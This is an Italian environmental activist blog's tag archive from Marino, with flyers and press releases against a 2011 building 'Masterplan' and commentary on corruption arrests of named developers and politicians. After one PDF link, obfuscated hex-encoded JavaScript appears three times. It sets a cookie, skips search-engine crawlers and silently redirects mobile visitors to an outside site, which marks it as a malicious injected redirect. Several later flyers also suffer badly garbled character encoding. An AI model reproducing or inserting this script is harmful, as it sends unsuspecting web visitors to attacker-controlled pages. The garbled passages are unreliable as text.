Archivi tag: pd

Un estate al TAR

Il 3 agosto 2011 il Consiglio Comunale di Marino, allora guidato dal centro-destra di Adriano Palozzi, approvava le delibere inerenti il “Masterplan” da 1,3 milioni di metri cubi di cemento per 12.500 nuovi abitanti.
C’eravamo allora, ci siamo ancora oggi, per contrastare lo scempio.
Abbiamo distribuito in piazza e nella zona tra via della Repubblica e il Parco della Pace il seguente volantino e il dossier contro la cementificazione.
Vi invitiamo a leggerli entrambi

Potete scaricare il dossier a questo link

Dossier 2019

Volantino 3 agosto 2019 in PDF

Comunicato su assemblea pubblica di venerdì 29 giugno a S.Maria delle Mole

COMUNICATO

VENERDI’ 29 ORE 18.00 – S.MARIA DELLE MOLE

ASSEMBLEA PUBBLICA CONTRO LA CEMENTIFICAZIONE

L’ “Assemblea contro la Cementificazione” organizza venerdì 29 giugno alle ore 18.00 in piazza P.Togliatti a S.Maria delle Mole una nuova iniziativa pubblica per discutere della situazione riguardante il “Masterplan” da un milione e trecentomila metri cubi e 12.500 nuovi abitanti approvato nel 2011 dall’allora giunta Palozzi.

Come abbiamo sostenuto sin da subito, gli interessi dei costruttori come Parnasi e di fondi di investimento come DeA Capital–Idea Fimit sono andati a braccetto in modo trasversale con numerosi esponenti politici di centro-destra e centro-sinistra ai quali si sono aggiunti di recente anche politici del movimento 5 stelle (la lega era già interna tramite il centro-destra a queste dinamiche).

Il “Masterplan” di Marino si è dimostrato pedina di scambio per le speculazioni di importanti società che hanno operato in questi anni anche per la paventata costruzione dello stadio della Roma e del relativo business park cercando di by-passare qualsiasi reale interesse pubblico pur di cementificare centinaia di ettari di verde.

Evidenziamo che a due settimane dagli arresti e dalle intercettazioni rese pubbliche dalla procura di Roma nessun partito politico presente nell’assemblea capitolina, in quella marinese e in quella regionale ha portato la questione nella rispettiva aula consiliare. E probabilmente la discussione sull’inchiesta denominata “Rinascimento” non farà mai parte di nessun ordine del giorno di nessuna amministrazione coinvolta.

Parnasi e i suoi collaboratori hanno finanziato tutti i partiti, senza distinzione alcuna, perché i suoi progetti dovevano andare in porto a qualunque costo.

La situazione marinese fu direttamente gestita dall’ex sindaco ed attuale vice-presidente regionale Adriano Palozzi insieme all’allora presidente della Regione Lazio Renata Polverini che con un accordo di programma da noi contestato in ogni sede decisero che 200 ettari di Agro Romano avrebbero dovuto sparire a vantaggio di palazzi e centri commerciali.

La situazione non cambiò con l’ascesa di Zingaretti che tramite l’assessore Civita non si preoccupò mai di contrastare i piani dei costruttori, anzi, come dimostra l’ultima inchiesta era anche quest’ultimo arruolato a pieno titolo tra i faccendieri di Parnasi.

L’idea di Parnasi era di rivendere a DeA Capital per 200 milioni di euro i terreni di Tor di Valle (comprati a 40 milioni) e di riacquistare quelli marinesi sempre da DeA Capital per 25 milioni. Questi terreni che valevano poco sono così diventati oggetto di una spaventosa rivalutazione che avrebbe portato 140 milioni di euro a vantaggio di Parnasi utilizzando quanto evidentemente imparato durante qualche partita a “monòpoli”.

Con il cambio di giunta comunale a Marino, in questi anni abbiamo continuato a chiedere di annullare/revocare le delibere cementizie e fermare i cantieri a Mugilla, ove costruttori locali hanno già distrutto metà di quanto vorrebbero, circondando le scuole elementari e per l’infanzia con palazzine in piena area verde e archeologica.

Finora, i provvedimenti presi dall’amministrazione comunale sono stati molto timidi eppure sono stati impugnati da DeA Capital e costruttori locali. Oltre la promessa di Palozzi di far pressione sul sindaco marinese Colizza per sbloccare la lottizzazione di via Divino Amore (480.000 metri cubi tra commerciale e residenziale) emerge l’interesse di Lanzalone, presidente dell’ACEA, dirigente di area “5 stelle”, il quale per il suo “interessamento” aveva ottenuto la promessa di ricevere in cambio quasi 100.000 euro tramite false consulenze a favore della società Ecovillage,

Ecovillage è direttamente coinvolta nella speculazione marinese e Lanzalone avrebbe dovuto fare pressione sull’amministrazione “cinque stelle” per mandare avanti il progetto di devastazione di via del Divino Amore.

Nel 2011 non c’era alcun interesse pubblico nel paventato “recupero di standard urbanistici” sostenuto da Palozzi per giustificare tutta l’operazione speculativa. Lo denunciammo sin da subito, e infatti manca ad oggi ogni progetto di servizio pubblico per ulteriori 12.500 abitanti.

In virtù di questo e per la salvaguardia delle minime condizioni di vivibilità del territorio continuiamo a chiedere la revoca delle delibere inerenti il “Masterplan” del 2011 e tutti gli atti conseguenti alla quale si deve aggiungere la confisca di tutti i terreni delle società coinvolte e l’ampliamento del perimetro del Parco dell’Appia Antica.

Solo con tali provvedimenti verrà messa un’unica grossa pietra sopra gli appetiti dei palazzinari e dei loro sodali politici. Ogni altra iniziativa che gira intorno alla questione senza bloccarla effettivamente lascia spazio al malaffare, alla corruttela e infine alla distruzione di un prezioso spazio di decompressione dalla metropoli sempre più – inutilmente – estesa.

ASSEMBLEA CONTRO LA CEMENTIFICAZIONE – Marino – 26 giugno 2018

stopcemento@inventati.org — http://stopcemento.noblogs.org

Comunicato Stop Cemento 26 giugno 2018 in formato PDF

Arrestati Palozzi, Parnasi e Civita – Rassegna Stampa completa

File Rosso – estratti dalla rassegna stampa completa – versione 2.0

Articoli su arresti di Palozzi, Parnasi, Civita ed altri per stadio Roma – 13 giugno 2018 – ver 5.0

Ai link qui sopra trovate due file pdf. Sono in costante aggiornamento, quindi assicuratevi di avere le ultime versioni. Per esempio, dalla 4.0 alla 5.0 del secondo file (così come dalla 1.0 alle 2.0 del primo) sono stati inseriti due articoli molti interessanti del Fatto Quotidiano e di Business Insider sui giochi finanziari di Parnasi, Dea Capital, Ecovillage con il sostegno tecnico di Lanzalone (presidente ACEA) e politico di Adriano Palozzi.

Quello denominato “File Rosso” è una sintesi di estratti e articoli completi presi dal file “Articoli su arresti di Palozzi, Parnasi, Civita ed altri”.

In particolare, quindi, il “File Rosso” andrebbe letto tutto. Le ulteriori evidenziazioni negli articoli del “File Rosso” stanno a significare “maggiore importanza”.

Invece, il file “Articoli su arresti di Palozzi, Parnasi, Civita ed altri” è la rassegna stampa completa e si può leggere come segue:

– priorità maggiore al rosso, poi il giallo, poi il verde

– se oltre al codice dell’articolo (per es [08] da “Il Messaggero” del 13 giugno) è evidenziato anche il titolone dell’articolo, allora significa che tutto l’articolo andrebbe letto interamente

– se invece è evidenziato solo il codice dell’articolo, senza che lo sia anche il titolone, allora significa che scorrendo l’articolo troverete la parte ritenuta più interessante anch’essa evidenziata.

Ovviamente, tutto ciò è stato un lavoro fatto per capirci qualcosa di più, principalmente sugli impicci e gli imbrogli delle questioni marinesi che sono strettamente legate al progetto di Tor di Valle a quanto sembra.

E’ stato un tour de force, ma non finisce qui !

Volantino distribuito davanti le scuole “Ciari” e “Verdi” di via Maroncelli a S.Maria delle Mole

Volantino in formato PDFvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Revocare le delibere pro-cemento e fermare le ruspe a Mugilla

Di seguito riportiamo il testo di un volantino che stiamo distribuendo in questi giorni

Ora si fermino i cantieri a Mugilla

e si annullino le delibere del 2011 pro-cementificazione

Tra i temi piA? dibattuti durante la campagna elettorale c’A? stato quello della devastazione del territorio ad opera dei palazzinari e dei politici legati ai partiti sia di centro-destra che di centro-sinistra.

Devastazione che A? giAi?? in atto, devastazione che ha portato ad un incremento vertiginoso di popolazione nel Comune di Marino e ad un continuo taglio e peggioramento dei servizi sotto tutti i punti di vista.

Malgrado negli ultimi 15 anni i residenti nel nostro comune siano passati da 32.000 a 42.000, con un aumento del 30%, sono migliaia gli appartamenti nuovi tuttora sfitti o in fase di costruzione!

In compenso, hanno chiuso il Pronto Soccorso, ridotto i servizi sanitari pubblici, accorpato i circoli didattici, chiuso le circoscrizioni di S.Maria e Frattocchie aprendone solo una lungo via Nettunense, ecc…

La cementificazione di aree verdi, il depauperamento e inquinamento delle falde acquifere, enormi problemi di mobilitAi?? e di inquinamento atmosferico sono i problemi maggiormente visibili (e prevedibili!) di piani regolatori fatti su misura per le esigenze di ai???amici palazzinariai???.

Oltre ai piani regolatori, come nel ai???nostroai??? caso, vengono anche prodotti progetti specifici che passano tramite procedure del tutto illegittime, come gli accordi di programma siglati da Palozzi con i vertici regionali del centro-sinistra e, successivamente, anche con la Polverini.

Insomma, la situazione A? ben nota a tutti.

Per questo, prima ancora per motivi ai???tecniciai??? e ai???legaliai??? che pur ci sono (e sono oggetto di numerosi ricorsi al TAR del Lazio) chiediamo alla nuova amministrazione comunale marinese di intervenire subito per

bloccare urgentemente i cantieri che stanno distruggendo Mugilla e circondando le scuole ai???Ciariai??? e ai???Verdiai??? di via Maroncelli a S.Maria delle Mole

revocare/annullare tutte le delibere del 3 agosto 2011 del cosiddetto ai???Masterplanai???, approvate dall’allora giunta Palozzi, cosAi?? come richiesto dai banchi dell’opposizione il 27 novembre 2014 dal Movimento 5 Stelle, da Eleonora di Giulio (allora come UCS) e da Adolfo Tammaro (allora Movimento per il Cambiamento, ora assessore ai Lavori Pubblici) e come sostenuto in tutti questi anni dall’Assemblea contro la Cementificazione e Argine Divino Amore.

Percorrere altre strade che non prevedano questi due atti non fermerebbe ruspe e betoniere giAi?? in azione a Mugilla e non ci sarebbe alcuna garanzia di salvaguardia del territorio.

In ogni caso, sia con la revoca delle delibere del 2011 che, cosAi?? come sembra orientata la nuova amministrazione, con una ai???variante di salvaguardiaai???, i costruttori farebbero ricorso al TAR.

L’annullamento delle delibere, secondo noi, A? quella piA? efficace ed A? supportata non solo da tutte le motivazioni inerenti la non-necessitAi?? di una ulteriore colata di cemento ma anche da tutte quelle tecnico-giuridiche espresse nei ricorsi al TAR del 2011/2012, alle quali vanno aggiunte tutte le informazioni, vedi ad esempio la mancanza dei progetti di pubblica utilitAi??, che sono emerse nel corso di questi 5 anni.

In attesa di azioni concrete da parte di questa nuova amministrazione, la lotta prosegue ed invitiamo tutti/e ad aumentare la mobilitazione, in special modo sul ai???fronteai??? di Mugilla, magari partecipando alle riunioni settimanali che si svolgono in via S.Paolo Apostolo 19, a S.Maria delle Mole, ogni lunedAi?? alle 21.30

ASSEMBLEA CONTRO LA CEMENTIFICAZIONE — HTTP://STOPCEMENTO.NOBLOGS.ORG

Volantino in versione PDF

NON SPERARE NELL’URNA – DOMENICA 29 PASSEGGIATA INFORMATIVA

COMUNICATO

DOMENICA 29 MAGGIO

PASSEGGIATA INFORMATIVA CONTRO LA CEMENTIFICAZIONE

RITROVO ORE 10.30 ai??i?? DAVANTI ALLA SCUOLA ai???G.VERDIai??? (MARONCELLI)

L’Assemblea contro la Cementificazione organizza una nuova iniziativa alla quale invita a partecipare tutta la popolazione che non vuole il preventivato raddoppio del centro abitato di S.Maria delle Mole.

Domenica 31 maggio diamo appuntamento alle 10.30 nel piazzale davanti l’ingresso della scuola ai???G.Verdiai???, in via Maroncelli, a S.Maria delle Mole. Da lAi?? ci muoveremo tutti insieme per la popolosa frazione di Marino distribuendo una ai???brochureai??? che spiega quali sono i progetti speculativi in atto ed evidenzia le responsabilitAi?? dei soggetti politici, imprenditoriali e di enti pubblici, a tutti i livelli. Durante il tragitto ci fermeremo per improvvisare ai???assemblee volantiai??? in vari posti. La ai???brochureai??? sarAi?? disponibile sul nostro sito a partire dalla prossima settimana.

Lo scempio A? giAi?? avviato proprio in zona Mugilla, a ridosso delle scuole ai???G.Verdiai??? e ai???B.Ciariai??? e dobbiamo fermarlo per impedire la costruzione di 17 palazzi per 400 nuovi abitanti che vanno ad incidere su una zona super-vincolata adiacente al Parco dell’Appia Antica. I costruttori interessati all’affare-Mugilla sono Serani e Giannini.

Il resto della speculazione vede lo strano sodalizio Parnasi-INPS per la cementificazione di altri 50 ettari tra il Parco Tudini e via Divino Amore (cioA? fino al Gotto d’Oro) per altri 4.500 abitanti.

Il tutto si completa, nei sogni dei palazzinari, con un totale complessivo che ammonta a un milione e trecentomila metri cubi di cemento e 12.500 nuovi residenti previsti, su un’area di circa 160 ettari di Agro Romano che rischiamo di non vedere mai piA?.

E’ di questi giorni la notizia della fuoriuscita di gas dal sottosuolo in zona Anagnina, non distante dalla Mola Cavona, con evacuazione di 22 nuclei familiari proprio a causa del prosciugamento delle falde acquifere dovuto al forte incremento abitativo in tutti i Castelli Romani e alla natura geologica dei posti in cui viviamo.

Tra le criticitAi?? esposte in questi anni, c’A? stata sia la mancanza di acqua per tutte queste nuove abitazioni previste, sia la battaglia sui rilievi di CO2 necessari per legge in tutte le aree soggette a piani edilizi. A fronte delle illegittimitAi?? di tutto l’iter amministrativo (i terreni sono ancora di tipo ai???industriale/artigianaleai??? nel PRG vigente!), delle mazzette che girano copiose tra Palazzo Colonna e imprenditori di ogni sorta, nulla ha scalfito la volontAi?? politico amministrativa delle giunte comunali prima di Palozzi, poi di Silvagni ed ora del Commissario Prefettizio dott.ssa Caporale. Evidenziamo l’imbarcata dell’ex-assessore all’urbanistica Bartoloni, giAi?? con Silvagni e Palozzi, a sostegno del PD con una sua lista che annovera altri costruttori. Solo per dovere di cronaca.

Invitiamo tutti/e non solo a partecipare attivamente a questa lotta di sopravvivenza contro gli interessi di palazzinari e politici ma anche a non riporre troppe speranze nelle elezioni e, in generale, nel meccanismo di delega. CosAi?? come nei meccanismi della giustizia, amministrativa o penale che sia, visto che il TAR ha nei suoi cassetti numerosi ricorsi contro il ai???Masterplanai??? da ormai cinque anni e il Tribunale di Velletri si muove comunque molto in ritardo (anche grazie alla numerositAi?? dei soggetti coinvolti…).

Infine, abbiamo notato forte preoccupazione tra i genitori dei bambini e il personale scolastico della ai???Ciariai??? e della ai???Verdiai??? perchAi?? ormai il cantiere di ai???Mugillaai??? si A? allargato fin sotto le aule. Le ruspe sono al lavoro e si ai???ballaai??? insomma, tra polvere, rumore, smog provocato dagli scarichi: evitiamo che si vada avanti cosAi?? per anni.

Si passi dalla ai???preoccupazioneai??? alla ai???mobilitazioneai???, senza attendere chissAi?? quali miracoli elettorali.

Marino, 27 maggio 2016

Assemblea contro la cementificazione ai??i?? http://stopcemento.noblogs.org

non sperare nell’urna – volantino def in pdf

Sabato 20 giugno – Riunione e Cena di finanziamento al CSOA IPO’ di Marino

SABATO 20 GIUGNO

INCONTRO E CENA CONTRO LA CEMENTIFICAZIONE

AL CENTRO SOCIALE IPO’

(Marino, via del Giardino Vecchio)

Dalle ore 19.00 discussione e aggiornamento sullo stato della vertenza contro la cementificazione da oltre un milione di metri cubi e 12.500 nuovi residenti, prevista nei sogni di palazzinari e politici marinesi di centro-destra e del Partito Democratico.

A seguire, verso le 21.00, cena di autofinanziamento per le iniziative di lotta e per il nuovo ricorso al TAR contro i permessi a costruire in zona ai???Mugillaai??? (adiacenti all’asilo e alla scuola elementare ai???Verdiai??? di S.Maria delle Mole).

A proposito del ricorso, invitiamo la popolazione ad aderirvi, portando con sAi?? una copia della carta d’identitAi?? e il codice fiscale.

Le ultime novitAi?? non sono buone, ma ce lo aspettavamo, e confermano l’unitAi?? d’intenti della Giunta Zingaretti (PD e partiti di centro-sinistra) alla Regione Lazio con gli appetiti dell’attuale consigliere regionale Palozzi (Forza Italia, ex sindaco di Marino).

Si A? svolta infatti ieri la tanto attesa seduta della Commissione Ambiente ed Urbanistica, durante la quale l’assessore Civita e la maggioranza hanno di fatto ammesso che ai??i?? per loro ai??i?? non ci sono i termini per revocare le delibere della precedente Giunta Polverini che approvavano i Piani dei costruttori.

Un gongolante e strafottente Palozzi incassa formalmente il sostegno dei suoi (finti) oppositori.

